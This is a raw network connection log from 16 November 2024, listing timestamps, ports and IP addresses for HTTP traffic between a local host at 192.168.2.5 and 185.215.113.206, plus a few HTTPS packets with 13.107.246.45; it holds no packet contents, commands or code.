Nov 16, 2024 19:22:28.850841999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850879908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850902081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.850914001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850950956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850981951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.850997925 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851016045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851047039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851079941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851094007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851130962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851164103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851176977 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851195097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851233006 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851246119 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851296902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851330996 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851353884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851387024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851427078 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851434946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851486921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851491928 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851519108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851555109 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851560116 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851587057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851624966 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851627111 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851676941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851711988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851743937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851758003 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851777077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851819038 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851826906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851861000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851870060 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851891041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851922035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851944923 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851953983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.851967096 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.851985931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852006912 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852025032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852036953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852083921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852119923 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852130890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852153063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852195978 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852202892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852238894 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852271080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852278948 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852307081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852339029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852372885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852386951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852401972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852437019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852444887 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852469921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852472067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852500916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852535009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852566957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852574110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852617025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852648973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852680922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852689981 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852714062 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852750063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852752924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852783918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852793932 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852830887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852863073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852896929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852904081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.852927923 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.852982044 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853009939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853029966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853041887 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853058100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853110075 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853142023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853173971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853179932 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853202105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853255033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853296041 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853318930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853367090 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853399992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853405952 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853435040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853466988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853497028 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853512049 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853528976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853564024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853568077 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853600979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853636980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853651047 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853672981 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853710890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853723049 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853743076 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853777885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853781939 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853811026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853847980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853857040 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853879929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853912115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853919983 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.853943110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853979111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.853986025 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854011059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854044914 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854054928 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854075909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854108095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854114056 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854140997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854168892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854173899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854202032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854208946 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854233980 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854242086 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854245901 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854274035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854285002 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854305983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854340076 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854355097 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854376078 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854406118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854408026 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854437113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854464054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854497910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854506969 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854531050 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854563951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854581118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854602098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854624987 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854634047 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854646921 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.854671001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.854708910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.922462940 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.922521114 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.922563076 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.922641039 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:28.922683954 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:28.922705889 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:29.004834890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.004867077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.004916906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.004954100 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.004990101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005018950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005057096 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.005074978 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.005156994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005191088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005225897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005234957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.005258083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005260944 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.005306959 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005338907 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005362034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.005373001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005383968 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.005404949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005439043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005445957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.005479097 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.005489111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005522013 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005553007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005584955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005598068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.005625963 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.005629063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005664110 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.005961895 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007348061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007378101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007412910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007442951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007446051 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007477999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007483959 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007508039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007528067 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007559061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007581949 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007591009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007617950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007617950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007620096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007639885 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007653952 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007664919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007704020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007735968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007750988 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007770061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007792950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007802010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007821083 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007853031 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007853031 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007879972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007911921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007944107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007962942 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.007976055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.007978916 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008017063 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008023977 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008057117 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008090019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008111000 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008138895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008172035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008199930 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008204937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008223057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008239031 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008246899 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008271933 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008281946 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008321047 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008349895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008380890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008387089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008399010 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008416891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008416891 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008482933 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008578062 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008657932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008691072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008723021 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008754969 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008769035 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008786917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008825064 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008836031 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008867025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008899927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008908033 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008932114 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.008972883 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.008980036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009008884 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009041071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009051085 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.009073973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009105921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009114981 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.009139061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009172916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009176016 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.009464025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009496927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009509087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.009649992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009681940 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009706020 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.009713888 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009738922 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.009747028 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009752035 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.009787083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009819984 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009829998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.009851933 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009886026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009917974 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009928942 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.009967089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.009972095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.009999990 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010031939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010041952 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010063887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010112047 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010143995 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010154009 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010175943 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010207891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010243893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010246992 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010293007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010339022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010366917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010387897 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010399103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010400057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010431051 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010436058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010462999 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010494947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010500908 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010528088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010560036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010605097 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010607004 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010641098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010672092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010679960 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010704041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010739088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010751963 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010785103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010816097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010823011 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010848045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010902882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010910988 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010936022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010967016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.010981083 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:29.010999918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:29.011030912 CET	80	49770	185.215.113.206	192.168.2.5
